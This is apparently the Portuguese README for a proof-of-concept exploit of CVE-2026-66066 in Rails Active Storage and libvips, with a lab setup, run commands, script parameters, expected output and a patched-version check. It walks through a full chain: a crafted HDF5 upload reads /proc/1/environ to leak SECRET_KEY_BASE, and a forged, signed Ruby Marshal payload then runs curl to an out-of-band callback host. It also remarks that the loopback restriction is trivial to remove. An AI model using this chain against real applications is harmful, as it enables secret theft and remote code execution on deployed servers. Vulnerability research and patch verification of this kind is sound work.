
CVE-2026-66066-POC — Updated!
PoC para CVE-2026-66066 em Ruby on Rails
PoC para CVE-2026-66066 - Laboratório mínimo com Rails/libvips
Este repositório reproduz a cadeia de leitura-de-arquivo-para-RCE do Active Storage do Rails descrita em GHSA-xr9x-r78c-5hrm contra o Rails 8.1.3, a versão afetada mais recente do Rails 8.1. O Rails 8.1.3.1 é o controle corrigido.
Use-o apenas no laboratório local descartável descrito aqui. O driver HTTP recusa alvos fora do loopback (embora seja trivial modificar o código Python para testes autorizados contra outros alvos).
Limite estrito entre alvo/atacante
O alvo é uma aplicação Rails convencional. Sua imagem final contém:
- a imagem oficial Docker
ruby:3.4.10-slimfixada; - uma aplicação gerada por
rails _VERSION_ new; - os pacotes de runtime gerados pelo Rails
curl,libjemalloc2,libvips, esqlite3; - o entrypoint gerado pelo Rails e o comando padrão
./bin/thrust ./bin/rails server; e - um modelo
Uploadnormal com um único anexo do Active Storage, ações HTML comunsnew,createeshow, e uma variante de imagem PNG.
Ele não contém um construtor de artefatos, artefato de upload, driver de exploit,
construtor Marshal, código de callback, endpoint de diagnóstico, rastreamento de loader,
script de boot personalizado, fixture de segredo do alvo ou rota exclusiva de exploit. Ele não
define VIPS_TRACE, não reordena o ambiente do processo, não substitui o serializador
do Active Storage, nem configura um processador de imagem não padrão.
O .dockerignore raiz envia apenas Dockerfile e overlay/ para o build.
Os scripts Python do lado do host e todos os artefatos gerados são excluídos do
contexto de build do Docker, não apenas omitidos da etapa final de cópia.
O overlay completo do alvo consiste em cinco arquivos comuns:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
A página de exibição usa a transformação normal mínima:
<%= image_tag @upload.avatar.variant(format: :png) %>
Uma nova aplicação Rails intocada não possui modelo ou página de aplicação que aceite um anexo, então esses cinco arquivos são a funcionalidade mínima de aplicação necessária para representar a condição de upload de imagem não confiável do advisory.
Build e execução do alvo vulnerável
Pré-requisitos são Docker, OpenSSL, Python 3 e h5py para o construtor
de artefatos.
No terminal 1:
./run_lab.sh 8.1.3
O script constrói minimal-rails-vips:8.1.3, gera um
SECRET_KEY_BASE efêmero, a menos que um já seja fornecido, publica a aplicação
apenas em 127.0.0.1:3000 e executa o entrypoint gerado pela imagem e o
comando padrão. Nenhum diretório de origem ou artefato é montado no alvo.
Se a porta 3000 já estiver ocupada, selecione outra porta de loopback sem alterar a imagem:
HOST_PORT=33020 ./run_lab.sh 8.1.3
Use a mesma porta no --target do driver.
Execução do construtor e driver combinados
No terminal 2:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://SEU-DOMINIO-OAST.example/callback
rails_vips_oast_poc.py é um construtor e driver HTTP de uso único. A menos que
--artifact seja fornecido, ele constrói o upload em um diretório temporário
privado, o mantém durante toda a sequência de requisições e o remove quando
o processo termina. Ele constrói ambos os estágios em vez de descompactar um payload
estático:
- Ele pede ao
h5pypara criar um arquivo MATLAB/HDF5 com um bloco de usuário de 512 bytes. - Ele cria um dataset
uint8little-endian1 × 1024chamadoenvironment. - O dataset usa armazenamento externo HDF5 apoiado por
/proc/1/environ, deslocamento zero, com uma extensão limitada de 1.024 bytes. - Ele adiciona
MATLAB_class="uint8"e escreve o cabeçalhoMATLAB 5.0usado pelo sniffermatloaddo libvips. - Seu escritor mínimo de Ruby Marshal 4.8 constrói o grafo de variação OOB completo sem sinal.
- Ele anexa um trailer com verificação de integridade contendo esse grafo serializado e um pequeno manifesto com a URL OAST e o nonce de correlação.
O programa RCE embutido é fixado em /usr/bin/curl com um array de argumentos
estruturado. Ele realiza um GET para a URL OAST configurada e envia apenas
o token de correlação aleatório rails_ghsa_xr9x. Ele não usa um shell e
não inclui segredos recuperados, saída de comandos, conteúdo de arquivos ou um
identificador do alvo no callback.
Os parâmetros do artefato são:
--external-path: arquivo absoluto do lado do alvo, padrão/proc/1/environ;--bytes: extensão externa limitada de 128 a 4096, padrão 1024;--oast: URL base do callback embutida no payload; e--nonce: nonce hexadecimal opcional de 16 bytes para um artefato reproduzível.
A URL OAST padrão é segura para loopback. Forneça uma URL de receptor acessível a partir do contêiner para a verificação de ponta a ponta.
Para reter o upload gerado para inspeção ou reutilização, adicione um caminho de artefato:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://SEU-DOMINIO-OAST.example/callback \
--artifact environment-read.bmp
Um --artifact existente é validado e reutilizado. Nesse caso, --oast, quando
fornecido, deve corresponder à URL de callback embutida. Adicione --force para reconstruir e
substituí-lo atomicamente pelos parâmetros atuais do construtor.
Para criação de artefatos sem nenhuma requisição HTTP, o construtor companheiro ainda está disponível:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://SEU-DOMINIO-OAST.example/callback
--target tem como padrão http://127.0.0.1:3000 e é restrito a
loopback literal ou localhost.
A saída vulnerável esperada inclui:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
Compare oast_nonce no terminal com o parâmetro de consulta
rails_ghsa_xr9x=<nonce> recebido pelo serviço OAST. O
HTTP 500 da requisição final de representação é esperado: o callback
ocorre enquanto o Marshal Hash autenticado está sendo reconstruído, antes de a
transformação geral falhar subsequentemente.
O que o driver faz
A parte do construtor requer h5py; as partes HTTP e criptográficas usam apenas
a biblioteca padrão do Python:
- Ele constrói e valida o artefato de upload completo e o grafo Marshal embutido sem sinal.
- Ele envia um PNG seguro através do formulário HTML multipart comum da aplicação, segue o redirecionamento normal e extrai a URL de representação de seu elemento ``.
- Ele usa o endpoint de upload direto integrado do Active Storage do Rails para criar um
blob não anexado declarado como
image/bmpe então envia os bytes construídos. - Ele combina o ID assinado válido desse blob com a chave de variação normal da imagem segura e solicita a representação.
- O libvips Debian padrão seleciona a operação
matloadnão fuzzeada. O PNG retornado expõe os bytes do dataset externo, incluindo oSECRET_KEY_BASEde runtime. - O driver deriva a chave comum do verificador
ActiveStorage, lê o payload Marshal já construído do artefato, o assina para o propósitovariatione solicita a URL de representação resultante. - A desserialização invoca o payload
/usr/bin/curlembutido e produz o callback OOB cego.
O alvo não contribui com endpoint auxiliar ou gadget de assinatura. As classes Ruby
usadas pelo grafo serializado vêm de dependências já resolvidas por um Gemfile
rails new padrão; a aplicação não as requer nem configura. O processamento de
imagem permanece no processador padrão :vips do Rails durante todo o processo.
Diferencial corrigido
Pare o terminal 1 com Ctrl-C e então execute:
./run_lab.sh 8.1.3.1
Execute novamente o mesmo comando do driver combinado. Se um artefato foi retido, ele pode
ser reutilizado passando o mesmo caminho --artifact. O resultado corrigido deve
parar em:
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
Nenhum pixel de ambiente é retornado, o payload embutido nunca é assinado ou
enviado, e nenhum callback OAST ocorre. O Active Storage 8.1.3.1 ativa
o bloqueio de operações não confiáveis do libvips, então matload é rejeitado.
Verifique se a imagem do alvo está limpa
A configuração final de runtime deve ser a gerada:
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
Esperado:
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
Inspecione o único script e confirme que os arquivos do PoC estão ausentes:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
A única entrada de script é o /rails/script/.keep criado pelo gerador.
Ferramentas de build e CLIs opcionais de imagem também ficam fora do runtime:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips está presente como uma biblioteca de runtime compartilhada, embora suas ferramentas CLI
não estejam instaladas. O grafo de dependências padrão do Debian fornece o suporte
vinculado aos formatos MAT/HDF5.
Arquivos
Dockerfilegera e empacota o alvo mínimo padrão..dockerignoreimpede que arquivos do lado do atacante entrem no contexto de build.overlay/contém apenas os cinco arquivos normais da aplicação Rails.run_lab.shconstrói e inicia o alvo sem executar o PoC.rails_vips_oast_poc.pyconstrói a imagem de leitura de arquivo HDF5 e o payload OOB configurável, conduz o fluxo HTTP normal, recupera o segredo do verificador, assina o payload embutido e o aciona.